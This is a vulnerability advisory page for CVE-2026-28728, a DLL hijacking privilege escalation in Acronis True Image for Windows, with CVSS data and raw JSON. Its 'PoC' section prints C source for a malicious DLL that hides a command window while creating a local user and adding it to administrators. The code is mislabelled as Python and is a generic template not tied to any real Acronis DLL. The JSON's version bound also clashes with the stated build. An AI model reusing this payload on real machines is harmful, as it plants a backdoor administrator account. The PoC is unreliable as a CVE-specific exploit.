Security Vulnerability Report
中文
CVE-2026-28728 CVSS 6.7 MEDIUM

CVE-2026-28728

Published: 2026-04-02 18:16:27
Last Modified: 2026-04-20 16:38:24

Description

Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis True Image (Windows) before build 42902.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:acronis:true_image:*:*:*:*:*:windows:*:* - VULNERABLE
Acronis True Image (Windows) < build 42902

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h> // Proof of Concept for DLL Hijacking // This DLL demonstrates code execution upon being loaded by the vulnerable application. // Exported function expected by the vulnerable application __declspec(dllexport) void VulnerableFunction() { // Placeholder for the original function logic } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to run when the DLL is loaded into the process // Example: Adding a user to demonstrate privilege escalation WinExec("cmd.exe /c net user poc_user P@ssw0rd /add", SW_HIDE); WinExec("cmd.exe /c net localgroup administrators poc_user /add", SW_HIDE); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28728", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:27.260", "lastModified": "2026-04-20T16:38:24.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis True Image (Windows) before build 42902."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:acronis:true_image:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2026", "matchCriteriaId": "2BB3F5C3-E7BF-458A-BB47-79B01F3DCF6E"}]}]}], "references": [{"url": "https://security-advisory.acronis.com/advisories/SEC-10401", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}